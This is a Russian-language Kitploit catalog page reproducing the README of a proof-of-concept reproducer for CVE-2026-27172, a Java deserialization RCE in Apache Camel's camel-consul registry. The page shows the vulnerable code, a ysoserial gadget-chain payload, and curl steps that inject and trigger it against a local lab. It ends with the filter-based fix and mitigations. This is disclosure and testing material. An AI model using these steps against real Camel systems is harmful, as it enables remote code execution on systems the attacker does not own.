Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-27172 — Репродуктор для CVE-2026-27172: Java-десериализация ConsulRegistry в Apache Camel camel-consul (RCE) | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-27172
Анализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHuboscerd/cve-2026-27172

CVE-2026-27172

Репродуктор для CVE-2026-27172: Java-десериализация ConsulRegistry в Apache Camel camel-consul (RCE)

Репозиторий
92 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Воспроизведение уязвимости десериализации ConsulRegistry в camel-consul (CVE-2026-27172)

Этот проект демонстрирует уязвимость десериализации Java в компоненте camel-consul Apache Camel (ConsulRegistry), отслеживаемую как CVE-2026-27172. Это тот же класс уязвимости, что и CVE-2024-22369, CVE-2024-23114 и CVE-2026-25747, и он был упущен при первоначальном устранении этих CVE.

Бюллетень безопасности: https://camel.apache.org/security/CVE-2026-27172.html

Сводка по уязвимости

СвойствоЗначение
Компонентcamel-consul
Затронутый классorg.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize)
Уязвимые методыlookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType()
CWECWE-502: Десериализация недоверенных данных
ВоздействиеУдалённое выполнение кода (RCE)
Затронутые версииС 3.0.0 до 4.14.6 и с 4.15.0 до 4.18.1
Исправленные версии4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23029

Технические подробности

ConsulRegistry использует хранилище ключ/значение Consul в качестве реестра Camel. Когда bean ищется по имени, сохранённое значение декодируется из Base64 и десериализуется с помощью «сырого» ObjectInputStream, причём в затронутых версиях — без ObjectInputFilter:

// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
    kvClient = consul.keyValueClient();
    return kvClient.getValueAsString(key).map(result -> {
        byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
        return ConsulRegistryUtils.deserialize(postDecodedValue);   // no filter (affected)
    }).orElse(null);
}

// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        return in.readObject();   // NO FILTERING!
    }
}

Любой объект, сохранённый в KV-хранилище Consul под ключом, который Camel впоследствии ищет, десериализуется. Злоумышленник, имеющий право записи в этот KV-путь, может разместить полезную нагрузку в виде цепочки гаджетов, которая выполнится при обращении к реестру.

Предварительные требования

  • Java 17+
  • Maven 3.8+
  • Запущенный агент Consul (KV-хранилище) — например, через Docker
  • ysoserial (для генерации полезной нагрузки)

Шаги по воспроизведению

Шаг 1: Запуск Consul

docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0

Шаг 2: Сборка и запуск приложения

mvn clean package -DskipTests
mvn spring-boot:run

Шаг 3: Инициализация ключа реестра

curl http://localhost:8080/exploit/init

Шаг 4: Генерация вредоносной полезной нагрузки

wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

ConsulRegistry хранит сериализованные объекты в кодировке Base64, поэтому полезная нагрузка передаётся в виде Base64.

Шаг 5: Внедрение полезной нагрузки в KV-хранилище Consul

curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  --data-binary @payload.b64

Шаг 6: Запуск десериализации (RCE!)

curl http://localhost:8080/exploit/trigger

lookupByName() читает значение из KV, декодирует его из Base64 и десериализует — выполняя цепочку гаджетов.

Шаг 7: Проверка эксплуатации

ls -la /tmp/pwned

Если файл /tmp/pwned существует, эксплуатация прошла успешно.

Векторы атаки

Уязвимость срабатывает всякий раз, когда реестр разрешает bean:

  1. Ссылки на bean — .to("bean:..."), bean(...), .process("...") по имени — все вызывают lookupByName().
  2. Разрешение при запуске — beans разрешаются во время построения маршрутов.
  3. Поиск по типу — findByType() / lookupByNameAndType() перебирают записи KV и десериализуют их.

Условия эксплуатации

  1. Право записи в KV-хранилище Consul, лежащее в основе реестра:
    • Разделяемый или неправильно сконфигурированный кластер Consul
    • Скомпрометированный или излишне широкий ACL-токен Consul
    • Другая уязвимость, предоставляющая примитив записи в KV
  2. Библиотека гаджетов в classpath:
    • commons-collections:3.2.1 (гаджеты CommonsCollections1-7)
    • Многие другие (см. ysoserial)

Сравнение с родственными CVE

АспектCassandra (CVE-2024-23114)LevelDB (CVE-2026-25747)Consul (CVE-2026-27172)
Базовое хранилищеТаблица CassandraФайл LevelDBKV-хранилище Consul
ObjectInputFilter (до исправления)нетнетнет
ИсправлениеБелый список ObjectInputFilterБелый список ObjectInputFilterБелый список ObjectInputFilter
JIRACAMEL-20306CAMEL-22821CAMEL-23029

Рекомендуемое исправление

Исправление (CAMEL-23029) добавляет настраиваемый ObjectInputFilter (по умолчанию java.**;org.apache.camel.**;!*) в ConsulRegistryUtils.deserialize и предоставляет опцию deserializationFilter, чтобы доверенные классы можно было добавить в белый список:

static Object deserialize(byte[] bytes, String deserializationFilter) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        if (deserializationFilter != null) {
            in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        }
        return in.readObject();
    }
}

Смягчение последствий

До обновления до исправленной версии:

  1. Ограничьте право записи в KV-хранилище Consul идентификацией самого приложения Camel (ACL-токены с минимальными привилегиями).
  2. Удалите библиотеки гаджетов: обновите или удалите уязвимые библиотеки, такие как commons-collections 3.x.
  3. Сегментация сети: изолируйте кластер Consul в доверенной сети.

Файлы

CVE-2026-27172/
├── pom.xml                          # Maven configuration (affected camel-consul version)
├── README.md                        # This file
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── ConsulRegistryRoute.java  # Camel route (disabled; shows real usage)
    │   └── ExploitController.java    # REST endpoints for the PoC
    └── resources/
        └── application.properties

Отказ от ответственности

Этот репродуктор предоставлен только для исследований в области безопасности и авторизованного тестирования публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.

Скачать инструмент